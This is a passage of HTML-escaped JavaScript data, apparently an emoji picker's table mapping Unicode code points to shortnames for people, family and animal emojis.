]},{unified:&quot;1F9D1&quot;,shortnames:[&quot;adult&quot;]},{unified:&quot;1F468&quot;,shortnames:[&quot;man&quot;]},{unified:&quot;1F9D4&quot;,shortnames:[&quot;bearded_person&quot;]},{unified:&quot;1F9D4-200D-2642-FE0F&quot;,shortnames:[&quot;man_with_beard&quot;]},{unified:&quot;1F9D4-200D-2640-FE0F&quot;,shortnames:[&quot;woman_with_beard&quot;]},{unified:&quot;1F468-200D-1F9B0&quot;,shortnames:[&quot;red_haired_man&quot;]},{unified:&quot;1F468-200D-1F9B1&quot;,shortnames:[&quot;curly_haired_man&quot;]},{unified:&quot;1F468-200D-1F9B3&quot;,shortnames:[&quot;white_haired_man&quot;]},{unified:&quot;1F468-200D-1F9B2&quot;,shortnames:[&quot;bald_man&quot;]},{unified:&quot;1F469&quot;,shortnames:[&quot;woman&quot;]},{unified:&quot;1F469-200D-1F9B0&quot;,shortnames:[&quot;red_haired_woman&quot;]},{unified:&quot;1F9D1-200D-1F9B0&quot;,shortnames:[&quot;red_haired_person&quot;]},{unified:&quot;1F469-200D-1F9B1&quot;,shortnames:[&quot;curly_haired_woman&quot;]},{unified:&quot;1F9D1-200D-1F9B1&quot;,shortnames:[&quot;curly_haired_person&quot;]},{unified:&quot;1F469-200D-1F9B3&quot;,shortnames:[&quot;white_haired_woman&quot;]},{unified:&quot;1F9D1-200D-1F9B3&quot;,shortnames:[&quot;white_haired_person&quot;]},{unified:&quot;1F469-200D-1F9B2&quot;,shortnames:[&quot;bald_woman&quot;]},{unified:&quot;1F9D1-200D-1F9B2&quot;,shortnames:[&quot;bald_person&quot;]},{unified:&quot;1F471-200D-2640-FE0F&quot;,shortnames:[&quot;blond-haired-woman&quot;]},{unified:&quot;1F471-200D-2642-FE0F&quot;,shortnames:[&quot;blond-haired-man&quot;,&quot;person_with_blond_hair&quot;]},{unified:&quot;1F9D3&quot;,shortnames:[&quot;older_adult&quot;]},{unified:&quot;1F474&quot;,shortnames:[&quot;older_man&quot;]},{unified:&quot;1F475&quot;,shortnames:[&quot;older_woman&quot;]},{unified:&quot;1F64D-200D-2642-FE0F&quot;,shortnames:[&quot;man-frowning&quot;]},{unified:&quot;1F64D-200D-2640-FE0F&quot;,shortnames:[&quot;woman-frowning&quot;,&quot;person_frowning&quot;]},{unified:&quot;1F64E-200D-2642-FE0F&quot;,shortnames:[&quot;man-pouting&quot;]},{unified:&quot;1F64E-200D-2640-FE0F&quot;,shortnames:[&quot;woman-pouting&quot;,&quot;person_with_pouting_face&quot;]},{unified:&quot;1F645-200D-2642-FE0F&quot;,shortnames:[&quot;man-gesturing-no&quot;]},{unified:&quot;1F645-200D-2640-FE0F&quot;,shortnames:[&quot;woman-gesturing-no&quot;,&quot;no_good&quot;]},{unified:&quot;1F646-200D-2642-FE0F&quot;,shortnames:[&quot;man-gesturing-ok&quot;]},{unified:&quot;1F646-200D-2640-FE0F&quot;,shortnames:[&quot;woman-gesturing-ok&quot;,&quot;ok_woman&quot;]},{unified:&quot;1F481-200D-2642-FE0F&quot;,shortnames:[&quot;man-tipping-hand&quot;]},{unified:&quot;1F481-200D-2640-FE0F&quot;,shortnames:[&quot;woman-tipping-hand&quot;,&quot;information_desk_person&quot;]},{unified:&quot;1F64B-200D-2642-FE0F&quot;,shortnames:[&quot;man-raising-hand&quot;]},{unified:&quot;1F64B-200D-2640-FE0F&quot;,shortnames:[&quot;woman-raising-hand&quot;,&quot;raising_hand&quot;]},{unified:&quot;1F9CF&quot;,shortnames:[&quot;deaf_person&quot;]},{unified:&quot;1F9CF-200D-2642-FE0F&quot;,shortnames:[&quot;deaf_man&quot;]},{unified:&quot;1F9CF-200D-2640-FE0F&quot;,shortnames:[&quot;deaf_woman&quot;]},{unified:&quot;1F647-200D-2642-FE0F&quot;,shortnames:[&quot;man-bowing&quot;,&quot;bow&quot;]},{unified:&quot;1F647-200D-2640-FE0F&quot;,shortnames:[&quot;woman-bowing&quot;]},{unified:&quot;1F926&quot;,shortnames:[&quot;face_palm&quot;]},{unified:&quot;1F926-200D-2642-FE0F&quot;,shortnames:[&quot;man-facepalming&quot;]},{unified:&quot;1F926-200D-2640-FE0F&quot;,shortnames:[&quot;woman-facepalming&quot;]},{unified:&quot;1F937&quot;,shortnames:[&quot;shrug&quot;]},{unified:&quot;1F937-200D-2642-FE0F&quot;,shortnames:[&quot;man-shrugging&quot;]},{unified:&quot;1F937-200D-2640-FE0F&quot;,shortnames:[&quot;woman-shrugging&quot;]},{unified:&quot;1F9D1-200D-2695-FE0F&quot;,shortnames:[&quot;health_worker&quot;]},{unified:&quot;1F468-200D-2695-FE0F&quot;,shortnames:[&quot;male-doctor&quot;]},{unified:&quot;1F469-200D-2695-FE0F&quot;,shortnames:[&quot;female-doctor&quot;]},{unified:&quot;1F9D1-200D-1F393&quot;,shortnames:[&quot;student&quot;]},{unified:&quot;1F468-200D-1F393&quot;,shortnames:[&quot;male-student&quot;]},{unified:&quot;1F469-200D-1F393&quot;,shortnames:[&quot;female-student&quot;]},{unified:&quot;1F9D1-200D-1F3EB&quot;,shortnames:[&quot;teacher&quot;]},{unified:&quot;1F468-200D-1F3EB&quot;,shortnames:[&quot;male-teacher&quot;]},{unified:&quot;1F469-200D-1F3EB&quot;,shortnames:[&quot;female-teacher&quot;]},{unified:&quot;1F9D1-200D-2696-FE0F&quot;,shortnames:[&quot;judge&quot;]},{unified:&quot;1F468-200D-2696-FE0F&quot;,shortnames:[&quot;male-judge&quot;]},{unified:&quot;1F469-200D-2696-FE0F&quot;,shortnames:[&quot;female-judge&quot;]},{unified:&quot;1F9D1-200D-1F33E&quot;,shortnames:[&quot;farmer&quot;]},{unified:&quot;1F468-200D-1F33E&quot;,shortnames:[&quot;male-farmer&quot;]},{unified:&quot;1F469-200D-1F33E&quot;,shortnames:[&quot;female-farmer&quot;]},{unified:&quot;1F9D1-200D-1F373&quot;,shortnames:[&quot;cook&quot;]},{unified:&quot;1F468-200D-1F373&quot;,shortnames:[&quot;male-cook&quot;]},{unified:&quot;1F469-200D-1F373&quot;,shortnames:[&quot;female-cook&quot;]},{unified:&quot;1F9D1-200D-1F527&quot;,shortnames:[&quot;mechanic&quot;]},{unified:&quot;1F468-200D-1F527&quot;,shortnames:[&quot;male-mechanic&quot;]},{unified:&quot;1F469-200D-1F527&quot;,shortnames:[&quot;female-mechanic&quot;]},{unified:&quot;1F9D1-200D-1F3ED&quot;,shortnames:[&quot;factory_worker&quot;]},{unified:&quot;1F468-200D-1F3ED&quot;,shortnames:[&quot;male-factory-worker&quot;]},{unified:&quot;1F469-200D-1F3ED&quot;,shortnames:[&quot;female-factory-worker&quot;]},{unified:&quot;1F9D1-200D-1F4BC&quot;,shortnames:[&quot;office_worker&quot;]},{unified:&quot;1F468-200D-1F4BC&quot;,shortnames:[&quot;male-office-worker&quot;]},{unified:&quot;1F469-200D-1F4BC&quot;,shortnames:[&quot;female-office-worker&quot;]},{unified:&quot;1F9D1-200D-1F52C&quot;,shortnames:[&quot;scientist&quot;]},{unified:&quot;1F468-200D-1F52C&quot;,shortnames:[&quot;male-scientist&quot;]},{unified:&quot;1F469-200D-1F52C&quot;,shortnames:[&quot;female-scientist&quot;]},{unified:&quot;1F9D1-200D-1F4BB&quot;,shortnames:[&quot;technologist&quot;]},{unified:&quot;1F468-200D-1F4BB&quot;,shortnames:[&quot;male-technologist&quot;]},{unified:&quot;1F469-200D-1F4BB&quot;,shortnames:[&quot;female-technologist&quot;]},{unified:&quot;1F9D1-200D-1F3A4&quot;,shortnames:[&quot;singer&quot;]},{unified:&quot;1F468-200D-1F3A4&quot;,shortnames:[&quot;male-singer&quot;]},{unified:&quot;1F469-200D-1F3A4&quot;,shortnames:[&quot;female-singer&quot;]},{unified:&quot;1F9D1-200D-1F3A8&quot;,shortnames:[&quot;artist&quot;]},{unified:&quot;1F468-200D-1F3A8&quot;,shortnames:[&quot;male-artist&quot;]},{unified:&quot;1F469-200D-1F3A8&quot;,shortnames:[&quot;female-artist&quot;]},{unified:&quot;1F9D1-200D-2708-FE0F&quot;,shortnames:[&quot;pilot&quot;]},{unified:&quot;1F468-200D-2708-FE0F&quot;,shortnames:[&quot;male-pilot&quot;]},{unified:&quot;1F469-200D-2708-FE0F&quot;,shortnames:[&quot;female-pilot&quot;]},{unified:&quot;1F9D1-200D-1F680&quot;,shortnames:[&quot;astronaut&quot;]},{unified:&quot;1F468-200D-1F680&quot;,shortnames:[&quot;male-astronaut&quot;]},{unified:&quot;1F469-200D-1F680&quot;,shortnames:[&quot;female-astronaut&quot;]},{unified:&quot;1F9D1-200D-1F692&quot;,shortnames:[&quot;firefighter&quot;]},{unified:&quot;1F468-200D-1F692&quot;,shortnames:[&quot;male-firefighter&quot;]},{unified:&quot;1F469-200D-1F692&quot;,shortnames:[&quot;female-firefighter&quot;]},{unified:&quot;1F46E-200D-2642-FE0F&quot;,shortnames:[&quot;male-police-officer&quot;,&quot;cop&quot;]},{unified:&quot;1F46E-200D-2640-FE0F&quot;,shortnames:[&quot;female-police-officer&quot;]},{unified:&quot;1F575-FE0F-200D-2642-FE0F&quot;,shortnames:[&quot;male-detective&quot;,&quot;sleuth_or_spy&quot;]},{unified:&quot;1F575-FE0F-200D-2640-FE0F&quot;,shortnames:[&quot;female-detective&quot;]},{unified:&quot;1F482-200D-2642-FE0F&quot;,shortnames:[&quot;male-guard&quot;,&quot;guardsman&quot;]},{unified:&quot;1F482-200D-2640-FE0F&quot;,shortnames:[&quot;female-guard&quot;]},{unified:&quot;1F977&quot;,shortnames:[&quot;ninja&quot;]},{unified:&quot;1F477-200D-2642-FE0F&quot;,shortnames:[&quot;male-construction-worker&quot;,&quot;construction_worker&quot;]},{unified:&quot;1F477-200D-2640-FE0F&quot;,shortnames:[&quot;female-construction-worker&quot;]},{unified:&quot;1F934&quot;,shortnames:[&quot;prince&quot;]},{unified:&quot;1F478&quot;,shortnames:[&quot;princess&quot;]},{unified:&quot;1F473-200D-2642-FE0F&quot;,shortnames:[&quot;man-wearing-turban&quot;,&quot;man_with_turban&quot;]},{unified:&quot;1F473-200D-2640-FE0F&quot;,shortnames:[&quot;woman-wearing-turban&quot;]},{unified:&quot;1F472&quot;,shortnames:[&quot;man_with_gua_pi_mao&quot;]},{unified:&quot;1F9D5&quot;,shortnames:[&quot;person_with_headscarf&quot;]},{unified:&quot;1F935&quot;,shortnames:[&quot;person_in_tuxedo&quot;]},{unified:&quot;1F935-200D-2642-FE0F&quot;,shortnames:[&quot;man_in_tuxedo&quot;]},{unified:&quot;1F935-200D-2640-FE0F&quot;,shortnames:[&quot;woman_in_tuxedo&quot;]},{unified:&quot;1F470&quot;,shortnames:[&quot;bride_with_veil&quot;]},{unified:&quot;1F470-200D-2642-FE0F&quot;,shortnames:[&quot;man_with_veil&quot;]},{unified:&quot;1F470-200D-2640-FE0F&quot;,shortnames:[&quot;woman_with_veil&quot;]},{unified:&quot;1F930&quot;,shortnames:[&quot;pregnant_woman&quot;]},{unified:&quot;1F931&quot;,shortnames:[&quot;breast-feeding&quot;]},{unified:&quot;1F469-200D-1F37C&quot;,shortnames:[&quot;woman_feeding_baby&quot;]},{unified:&quot;1F468-200D-1F37C&quot;,shortnames:[&quot;man_feeding_baby&quot;]},{unified:&quot;1F9D1-200D-1F37C&quot;,shortnames:[&quot;person_feeding_baby&quot;]},{unified:&quot;1F47C&quot;,shortnames:[&quot;angel&quot;]},{unified:&quot;1F385&quot;,shortnames:[&quot;santa&quot;]},{unified:&quot;1F936&quot;,shortnames:[&quot;mrs_claus&quot;]},{unified:&quot;1F9D1-200D-1F384&quot;,shortnames:[&quot;mx_claus&quot;]},{unified:&quot;1F9B8&quot;,shortnames:[&quot;superhero&quot;]},{unified:&quot;1F9B8-200D-2642-FE0F&quot;,shortnames:[&quot;male_superhero&quot;]},{unified:&quot;1F9B8-200D-2640-FE0F&quot;,shortnames:[&quot;female_superhero&quot;]},{unified:&quot;1F9B9&quot;,shortnames:[&quot;supervillain&quot;]},{unified:&quot;1F9B9-200D-2642-FE0F&quot;,shortnames:[&quot;male_supervillain&quot;]},{unified:&quot;1F9B9-200D-2640-FE0F&quot;,shortnames:[&quot;female_supervillain&quot;]},{unified:&quot;1F9D9-200D-2642-FE0F&quot;,shortnames:[&quot;male_mage&quot;]},{unified:&quot;1F9D9-200D-2640-FE0F&quot;,shortnames:[&quot;female_mage&quot;,&quot;mage&quot;]},{unified:&quot;1F9DA-200D-2642-FE0F&quot;,shortnames:[&quot;male_fairy&quot;]},{unified:&quot;1F9DA-200D-2640-FE0F&quot;,shortnames:[&quot;female_fairy&quot;,&quot;fairy&quot;]},{unified:&quot;1F9DB-200D-2642-FE0F&quot;,shortnames:[&quot;male_vampire&quot;]},{unified:&quot;1F9DB-200D-2640-FE0F&quot;,shortnames:[&quot;female_vampire&quot;,&quot;vampire&quot;]},{unified:&quot;1F9DC-200D-2642-FE0F&quot;,shortnames:[&quot;merman&quot;,&quot;merperson&quot;]},{unified:&quot;1F9DC-200D-2640-FE0F&quot;,shortnames:[&quot;mermaid&quot;]},{unified:&quot;1F9DD-200D-2642-FE0F&quot;,shortnames:[&quot;male_elf&quot;,&quot;elf&quot;]},{unified:&quot;1F9DD-200D-2640-FE0F&quot;,shortnames:[&quot;female_elf&quot;]},{unified:&quot;1F9DE-200D-2642-FE0F&quot;,shortnames:[&quot;male_genie&quot;,&quot;genie&quot;]},{unified:&quot;1F9DE-200D-2640-FE0F&quot;,shortnames:[&quot;female_genie&quot;]},{unified:&quot;1F9DF-200D-2642-FE0F&quot;,shortnames:[&quot;male_zombie&quot;,&quot;zombie&quot;]},{unified:&quot;1F9DF-200D-2640-FE0F&quot;,shortnames:[&quot;female_zombie&quot;]},{unified:&quot;1F486-200D-2642-FE0F&quot;,shortnames:[&quot;man-getting-massage&quot;]},{unified:&quot;1F486-200D-2640-FE0F&quot;,shortnames:[&quot;woman-getting-massage&quot;,&quot;massage&quot;]},{unified:&quot;1F487-200D-2642-FE0F&quot;,shortnames:[&quot;man-getting-haircut&quot;]},{unified:&quot;1F487-200D-2640-FE0F&quot;,shortnames:[&quot;woman-getting-haircut&quot;,&quot;haircut&quot;]},{unified:&quot;1F6B6-200D-2642-FE0F&quot;,shortnames:[&quot;man-walking&quot;,&quot;walking&quot;]},{unified:&quot;1F6B6-200D-2640-FE0F&quot;,shortnames:[&quot;woman-walking&quot;]},{unified:&quot;1F9CD&quot;,shortnames:[&quot;standing_person&quot;]},{unified:&quot;1F9CD-200D-2642-FE0F&quot;,shortnames:[&quot;man_standing&quot;]},{unified:&quot;1F9CD-200D-2640-FE0F&quot;,shortnames:[&quot;woman_standing&quot;]},{unified:&quot;1F9CE&quot;,shortnames:[&quot;kneeling_person&quot;]},{unified:&quot;1F9CE-200D-2642-FE0F&quot;,shortnames:[&quot;man_kneeling&quot;]},{unified:&quot;1F9CE-200D-2640-FE0F&quot;,shortnames:[&quot;woman_kneeling&quot;]},{unified:&quot;1F9D1-200D-1F9AF&quot;,shortnames:[&quot;person_with_probing_cane&quot;]},{unified:&quot;1F468-200D-1F9AF&quot;,shortnames:[&quot;man_with_probing_cane&quot;]},{unified:&quot;1F469-200D-1F9AF&quot;,shortnames:[&quot;woman_with_probing_cane&quot;]},{unified:&quot;1F9D1-200D-1F9BC&quot;,shortnames:[&quot;person_in_motorized_wheelchair&quot;]},{unified:&quot;1F468-200D-1F9BC&quot;,shortnames:[&quot;man_in_motorized_wheelchair&quot;]},{unified:&quot;1F469-200D-1F9BC&quot;,shortnames:[&quot;woman_in_motorized_wheelchair&quot;]},{unified:&quot;1F9D1-200D-1F9BD&quot;,shortnames:[&quot;person_in_manual_wheelchair&quot;]},{unified:&quot;1F468-200D-1F9BD&quot;,shortnames:[&quot;man_in_manual_wheelchair&quot;]},{unified:&quot;1F469-200D-1F9BD&quot;,shortnames:[&quot;woman_in_manual_wheelchair&quot;]},{unified:&quot;1F3C3-200D-2642-FE0F&quot;,shortnames:[&quot;man-running&quot;,&quot;runner&quot;]},{unified:&quot;1F3C3-200D-2640-FE0F&quot;,shortnames:[&quot;woman-running&quot;]},{unified:&quot;1F483&quot;,shortnames:[&quot;dancer&quot;]},{unified:&quot;1F57A&quot;,shortnames:[&quot;man_dancing&quot;]},{unified:&quot;1F574-FE0F&quot;,shortnames:[&quot;man_in_business_suit_levitating&quot;]},{unified:&quot;1F46F-200D-2642-FE0F&quot;,shortnames:[&quot;men-with-bunny-ears-partying&quot;]},{unified:&quot;1F46F-200D-2640-FE0F&quot;,shortnames:[&quot;women-with-bunny-ears-partying&quot;,&quot;dancers&quot;]},{unified:&quot;1F9D6-200D-2642-FE0F&quot;,shortnames:[&quot;man_in_steamy_room&quot;,&quot;person_in_steamy_room&quot;]},{unified:&quot;1F9D6-200D-2640-FE0F&quot;,shortnames:[&quot;woman_in_steamy_room&quot;]},{unified:&quot;1F9D7-200D-2642-FE0F&quot;,shortnames:[&quot;man_climbing&quot;]},{unified:&quot;1F9D7-200D-2640-FE0F&quot;,shortnames:[&quot;woman_climbing&quot;,&quot;person_climbing&quot;]},{unified:&quot;1F93A&quot;,shortnames:[&quot;fencer&quot;]},{unified:&quot;1F3C7&quot;,shortnames:[&quot;horse_racing&quot;]},{unified:&quot;26F7-FE0F&quot;,shortnames:[&quot;skier&quot;]},{unified:&quot;1F3C2&quot;,shortnames:[&quot;snowboarder&quot;]},{unified:&quot;1F3CC-FE0F-200D-2642-FE0F&quot;,shortnames:[&quot;man-golfing&quot;,&quot;golfer&quot;]},{unified:&quot;1F3CC-FE0F-200D-2640-FE0F&quot;,shortnames:[&quot;woman-golfing&quot;]},{unified:&quot;1F3C4-200D-2642-FE0F&quot;,shortnames:[&quot;man-surfing&quot;,&quot;surfer&quot;]},{unified:&quot;1F3C4-200D-2640-FE0F&quot;,shortnames:[&quot;woman-surfing&quot;]},{unified:&quot;1F6A3-200D-2642-FE0F&quot;,shortnames:[&quot;man-rowing-boat&quot;,&quot;rowboat&quot;]},{unified:&quot;1F6A3-200D-2640-FE0F&quot;,shortnames:[&quot;woman-rowing-boat&quot;]},{unified:&quot;1F3CA-200D-2642-FE0F&quot;,shortnames:[&quot;man-swimming&quot;,&quot;swimmer&quot;]},{unified:&quot;1F3CA-200D-2640-FE0F&quot;,shortnames:[&quot;woman-swimming&quot;]},{unified:&quot;26F9-FE0F-200D-2642-FE0F&quot;,shortnames:[&quot;man-bouncing-ball&quot;,&quot;person_with_ball&quot;]},{unified:&quot;26F9-FE0F-200D-2640-FE0F&quot;,shortnames:[&quot;woman-bouncing-ball&quot;]},{unified:&quot;1F3CB-FE0F-200D-2642-FE0F&quot;,shortnames:[&quot;man-lifting-weights&quot;,&quot;weight_lifter&quot;]},{unified:&quot;1F3CB-FE0F-200D-2640-FE0F&quot;,shortnames:[&quot;woman-lifting-weights&quot;]},{unified:&quot;1F6B4-200D-2642-FE0F&quot;,shortnames:[&quot;man-biking&quot;,&quot;bicyclist&quot;]},{unified:&quot;1F6B4-200D-2640-FE0F&quot;,shortnames:[&quot;woman-biking&quot;]},{unified:&quot;1F6B5-200D-2642-FE0F&quot;,shortnames:[&quot;man-mountain-biking&quot;,&quot;mountain_bicyclist&quot;]},{unified:&quot;1F6B5-200D-2640-FE0F&quot;,shortnames:[&quot;woman-mountain-biking&quot;]},{unified:&quot;1F938&quot;,shortnames:[&quot;person_doing_cartwheel&quot;]},{unified:&quot;1F938-200D-2642-FE0F&quot;,shortnames:[&quot;man-cartwheeling&quot;]},{unified:&quot;1F938-200D-2640-FE0F&quot;,shortnames:[&quot;woman-cartwheeling&quot;]},{unified:&quot;1F93C&quot;,shortnames:[&quot;wrestlers&quot;]},{unified:&quot;1F93C-200D-2642-FE0F&quot;,shortnames:[&quot;man-wrestling&quot;]},{unified:&quot;1F93C-200D-2640-FE0F&quot;,shortnames:[&quot;woman-wrestling&quot;]},{unified:&quot;1F93D&quot;,shortnames:[&quot;water_polo&quot;]},{unified:&quot;1F93D-200D-2642-FE0F&quot;,shortnames:[&quot;man-playing-water-polo&quot;]},{unified:&quot;1F93D-200D-2640-FE0F&quot;,shortnames:[&quot;woman-playing-water-polo&quot;]},{unified:&quot;1F93E&quot;,shortnames:[&quot;handball&quot;]},{unified:&quot;1F93E-200D-2642-FE0F&quot;,shortnames:[&quot;man-playing-handball&quot;]},{unified:&quot;1F93E-200D-2640-FE0F&quot;,shortnames:[&quot;woman-playing-handball&quot;]},{unified:&quot;1F939&quot;,shortnames:[&quot;juggling&quot;]},{unified:&quot;1F939-200D-2642-FE0F&quot;,shortnames:[&quot;man-juggling&quot;]},{unified:&quot;1F939-200D-2640-FE0F&quot;,shortnames:[&quot;woman-juggling&quot;]},{unified:&quot;1F9D8-200D-2642-FE0F&quot;,shortnames:[&quot;man_in_lotus_position&quot;]},{unified:&quot;1F9D8-200D-2640-FE0F&quot;,shortnames:[&quot;woman_in_lotus_position&quot;,&quot;person_in_lotus_position&quot;]},{unified:&quot;1F6C0&quot;,shortnames:[&quot;bath&quot;]},{unified:&quot;1F6CC&quot;,shortnames:[&quot;sleeping_accommodation&quot;]},{unified:&quot;1F9D1-200D-1F91D-200D-1F9D1&quot;,shortnames:[&quot;people_holding_hands&quot;]},{unified:&quot;1F46D&quot;,shortnames:[&quot;two_women_holding_hands&quot;]},{unified:&quot;1F46B&quot;,shortnames:[&quot;man_and_woman_holding_hands&quot;]},{unified:&quot;1F46C&quot;,shortnames:[&quot;two_men_holding_hands&quot;]},{unified:&quot;1F48F&quot;,shortnames:[&quot;couplekiss&quot;]},{unified:&quot;1F469-200D-2764-FE0F-200D-1F48B-200D-1F468&quot;,shortnames:[&quot;woman-kiss-man&quot;]},{unified:&quot;1F468-200D-2764-FE0F-200D-1F48B-200D-1F468&quot;,shortnames:[&quot;man-kiss-man&quot;]},{unified:&quot;1F469-200D-2764-FE0F-200D-1F48B-200D-1F469&quot;,shortnames:[&quot;woman-kiss-woman&quot;]},{unified:&quot;1F491&quot;,shortnames:[&quot;couple_with_heart&quot;]},{unified:&quot;1F469-200D-2764-FE0F-200D-1F468&quot;,shortnames:[&quot;woman-heart-man&quot;]},{unified:&quot;1F468-200D-2764-FE0F-200D-1F468&quot;,shortnames:[&quot;man-heart-man&quot;]},{unified:&quot;1F469-200D-2764-FE0F-200D-1F469&quot;,shortnames:[&quot;woman-heart-woman&quot;]},{unified:&quot;1F468-200D-1F469-200D-1F466&quot;,shortnames:[&quot;man-woman-boy&quot;,&quot;family&quot;]},{unified:&quot;1F468-200D-1F469-200D-1F467&quot;,shortnames:[&quot;man-woman-girl&quot;]},{unified:&quot;1F468-200D-1F469-200D-1F467-200D-1F466&quot;,shortnames:[&quot;man-woman-girl-boy&quot;]},{unified:&quot;1F468-200D-1F469-200D-1F466-200D-1F466&quot;,shortnames:[&quot;man-woman-boy-boy&quot;]},{unified:&quot;1F468-200D-1F469-200D-1F467-200D-1F467&quot;,shortnames:[&quot;man-woman-girl-girl&quot;]},{unified:&quot;1F468-200D-1F468-200D-1F466&quot;,shortnames:[&quot;man-man-boy&quot;]},{unified:&quot;1F468-200D-1F468-200D-1F467&quot;,shortnames:[&quot;man-man-girl&quot;]},{unified:&quot;1F468-200D-1F468-200D-1F467-200D-1F466&quot;,shortnames:[&quot;man-man-girl-boy&quot;]},{unified:&quot;1F468-200D-1F468-200D-1F466-200D-1F466&quot;,shortnames:[&quot;man-man-boy-boy&quot;]},{unified:&quot;1F468-200D-1F468-200D-1F467-200D-1F467&quot;,shortnames:[&quot;man-man-girl-girl&quot;]},{unified:&quot;1F469-200D-1F469-200D-1F466&quot;,shortnames:[&quot;woman-woman-boy&quot;]},{unified:&quot;1F469-200D-1F469-200D-1F467&quot;,shortnames:[&quot;woman-woman-girl&quot;]},{unified:&quot;1F469-200D-1F469-200D-1F467-200D-1F466&quot;,shortnames:[&quot;woman-woman-girl-boy&quot;]},{unified:&quot;1F469-200D-1F469-200D-1F466-200D-1F466&quot;,shortnames:[&quot;woman-woman-boy-boy&quot;]},{unified:&quot;1F469-200D-1F469-200D-1F467-200D-1F467&quot;,shortnames:[&quot;woman-woman-girl-girl&quot;]},{unified:&quot;1F468-200D-1F466&quot;,shortnames:[&quot;man-boy&quot;]},{unified:&quot;1F468-200D-1F466-200D-1F466&quot;,shortnames:[&quot;man-boy-boy&quot;]},{unified:&quot;1F468-200D-1F467&quot;,shortnames:[&quot;man-girl&quot;]},{unified:&quot;1F468-200D-1F467-200D-1F466&quot;,shortnames:[&quot;man-girl-boy&quot;]},{unified:&quot;1F468-200D-1F467-200D-1F467&quot;,shortnames:[&quot;man-girl-girl&quot;]},{unified:&quot;1F469-200D-1F466&quot;,shortnames:[&quot;woman-boy&quot;]},{unified:&quot;1F469-200D-1F466-200D-1F466&quot;,shortnames:[&quot;woman-boy-boy&quot;]},{unified:&quot;1F469-200D-1F467&quot;,shortnames:[&quot;woman-girl&quot;]},{unified:&quot;1F469-200D-1F467-200D-1F466&quot;,shortnames:[&quot;woman-girl-boy&quot;]},{unified:&quot;1F469-200D-1F467-200D-1F467&quot;,shortnames:[&quot;woman-girl-girl&quot;]},{unified:&quot;1F5E3-FE0F&quot;,shortnames:[&quot;speaking_head_in_silhouette&quot;]},{unified:&quot;1F464&quot;,shortnames:[&quot;bust_in_silhouette&quot;]},{unified:&quot;1F465&quot;,shortnames:[&quot;busts_in_silhouette&quot;]},{unified:&quot;1FAC2&quot;,shortnames:[&quot;people_hugging&quot;]},{unified:&quot;1F463&quot;,shortnames:[&quot;footprints&quot;]}]},{name:&quot;Animals &amp; Nature&quot;,emojis:[{unified:&quot;1F435&quot;,shortnames:[&quot;monkey_face&quot;]},{unified:&quot;1F412&quot;,shortnames:[&quot;monkey&quot;]},{unified:&quot;1F98D&quot;,shortnames:[&quot;gorilla&quot;]},{unified:&quot;1F9A7&quot;,shortnames:[&quot;orangutan&quot;]},{unified:&quot;1F436&quot;,shortnames:[&quot;dog&quot;]},{unified:&quot;1F415&quot;,shortnames:[&quot;dog2&quot;]},{unified:&quot;1F9AE&quot;,shortnames:[&quot;guide_dog&quot;]},{unified:&quot;1F415-200D-1F9BA&quot;,shortnames:[&quot;service_dog&quot;]},{unified:&quot;1F429&quot;,shortnames:[&quot;poodle&quot;]},{unified:&quot;1F43A&quot;,shortnames:[&quot;wolf&quot;]},{unified:&quot;1F98A&quot;,shortnames:[&quot;fox_face&quot;]},{unified:&quot;1F99D&quot;,shortnames:[&quot;raccoon&quot;]},{unified:&quot;1F431&quot;,shortnames:[&quot;cat&quot;]},{unified:&quot;1F408&quot;,shortnames:[&quot;cat2&quot;]},{unified:&quot;1F408-200D-2B1B&quot;,shortnames:[&quot;black_cat&quot;]},{unified:&quot;1F981&quot;,shortnames:[&quot;lion_face&quot;]},{unified:&quot;1F42F&quot;,shortnames:[&quot;tiger&quot;]},{unified:&quot;1F405&quot;,shortnames:[&quot;tiger2&quot;]},{unified:&quot;1F406&quot;,shortnames:[&quot;leopard&quot;]},{unified:&quot;1F434&quot;,shortnames:[&quot;horse&quot;]},{unified:&quot;1F40E&quot;,shortnames:[&quot;racehorse&quot;]},{unified:&quot;1F984&quot;,shortnames:[&quot;unicorn_face&quot;]},{unified:&quot;1F993&quot;,shortnames:[&quot;zebra_face&quot;]},{unified:&quot;1F98C&quot;,shortnames:[&quot;deer&quot;]},{unified:&quot;1F9AC&quot;,shortnames:[&quot;bison&quot;]},{unified:&quot;1F42E&quot;,shortnames:[&quot;cow&quot;]},{unified:&quot;1F402&quot;,shortnames:[&quot;ox&quot;]},{unified:&quot;1F403&quot;,shortnames:[&quot;water_buffalo&quot;]},{unified:&quot;1F404&quot;,shortnames:[&quot;cow2&quot;]},{unified:&quot;1F437&quot;,shortnames:[&quot;pig&quot;]},{unified:&quot;1F416&quot;,shortnames:[&quot;pig2&quot;]},{unified:&quot;1F417&quot;,shortnames:[&quot;boar&quot;]},{unified:&quot;1F43D&quot;,shortnames:[&quot;pig_nose&quot;]},{unified:&quot;1F40F&quot;,shortnames:[&quot;ram&quot;]},{unified:&quot;1F411&quot;,shortnames:[&quot;sheep&quot;]},{unified:&quot;1F410&quot;,shortnames:[&quot;goat&quot;]},{unified:&quot;1F42A&quot;,shortnames:[&quot;dromedary_camel&quot;]},{unified:&quot;1F42B&quot;,shortnames:[&quot;camel&quot;]},{unified:&quot;1F999&quot;,shortnames:[&quot;llama&quot;]},{unified:&quot;1F992&quot;,shortnames:[&quot;giraffe_face&quot;]},{unified:&quot;1F418&quot;,shortnames:[&quot;elephant&quot;]},{unified:&quot;1F9A3&quot;,shortnames:[&quot;mammoth&quot;]},{unified:&quot;1F98F&quot;,shortnames:[&quot;rhinoceros&quot;]},{unified:&quot;1F99B&quot;,shortnames:[&quot;hippopotamus&quot;]},{unified:&quot;1F42D&quot;,shortnames:[&quot;mouse&quot;]},{unified:&quot;1F401&quot;,shortnames:[&quot;mouse2&quot;]},{unified:&quot;1F400&quot;,shortnames:[&quot;rat&quot;]},{unified:&quot;1F439&quot;,shortnames:[&quot;hamster&quot;]},{unified:&quot;1F430&quot;,shortnames:[&quot;rabbit&quot;]},{unified:&quot;1F407&quot;,shortnames:[&quot;rabbit2&quot;]},{unified:&quot;1F43F-FE0F&quot;,shortnames:[&quot;chipmunk&quot;]},{unified:&quot;1F9AB&quot;,shortnames:[&quot;beaver&quot;]},{unified:&quot;1F994&quot;,shortnames:[&quot;hedgehog&quot;]},{unified:&quot;1F987&quot;,shortnames:[&quot;bat&quot;]},{unified:&quot;1F43B&quot;,shortnames:[&quot;bear&quot;]},{unified:&quot;1F43B-200D-2744-FE0F&quot;,shortnames:[&quot;polar_bear&quot;]},{unified:&quot;1F428&quot;,shortnames:[&quot;koala&quot;]},{unified:&quot;